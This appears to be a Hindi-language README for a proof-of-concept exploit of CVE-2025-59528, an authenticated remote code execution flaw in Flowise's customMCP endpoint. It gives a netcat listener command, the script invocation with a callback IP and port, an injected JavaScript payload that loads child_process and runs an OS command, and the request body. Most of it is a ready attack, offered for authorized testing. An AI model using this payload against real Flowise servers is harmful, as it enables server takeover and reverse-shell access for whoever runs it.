
CVE-2025-59528 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो mcpServerConfig इंजेक्शन के माध्यम से Flowise में प्रमाणित रिमोट कोड निष्पादन का प्रदर्शन करता है, साथ ही अधिकृत परीक्षण के लिए प्रतिलिपि योग्य चरणों के साथ।
अधिकृत वातावरण में भेद्यता के तकनीकी सत्यापन पर केंद्रित न्यूनतम PoC।
nc -lvn 4444)।पहले लिसनर शुरू करें:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
मानों को अपने अधिकृत वातावरण की सेटिंग्स से बदलें।
3.0.5 से कमरिमोट कोड एक्ज़ीक्यूशन (RCE)POST /api/v1/node-load-method/customMCP एंडपॉइंटसमस्या इस बात से उत्पन्न होती है कि inputs.mcpServerConfig को कैसे संसाधित किया जाता है: इस मान की व्याख्या इस तरह की जाती है जो सर्वर-साइड JavaScript निष्पादन की अनुमति देती है। व्यवहार में, एक प्रमाणित हमलावर एक ऐसा एक्सप्रेशन इंजेक्ट कर सकता है जो child_process को कॉल करता है और एक OS कमांड चलाता है।
शोषण प्रवाह इस प्रकार है:
customMCP एंडपॉइंट पर एक अनुरोध बनाएं।mcpServerConfig में एक दुर्भावनापूर्ण JavaScript एक्सप्रेशन रखें।process.mainModule.require('child_process') ट्रिगर करें।exec/execSync) निष्पादित करें।यदि स्वीकार किया जाता है, तो सर्वर कमांड को अपने सिस्टम संदर्भ में निष्पादित करता है।
poc.py)स्क्रिप्ट चार तर्क लेती है:
-d/--domain: लक्षित डोमेन-lh/--host: कॉलबैक IP-lp/--port: कॉलबैक पोर्ट-A/--api: Bearer API टोकनफिर यह:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token> हेडर जोड़ती है({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
EDB PoC की तुलना में (जो ईमेल/पासवर्ड लॉगिन करता है, ब्राउज़र-जैसे हेडर का उपयोग करता है, और एक फ्री-फॉर्म --cmd चलाता है), यह स्क्रिप्ट शुद्ध PoC सत्यापन के लिए बेहतर है:
mcpServerConfig इंजेक्शन और सर्वर-साइड निष्पादन।संक्षेप में: EDB स्क्रिप्ट एक अधिक सामान्य आक्रामक डेमो है, जबकि यह PoC तकनीकी पुनरुत्पादन के लिए अधिक लक्षित है।
https मोड या प्रमाणपत्र हैंडलिंग नहीं।--cmd के माध्यम से पैरामीटराइज़ नहीं किया गया)।केवल उन सिस्टमों पर परीक्षण करें जिनके आप मालिक हैं या जहाँ आपके पास स्पष्ट प्राधिकरण है।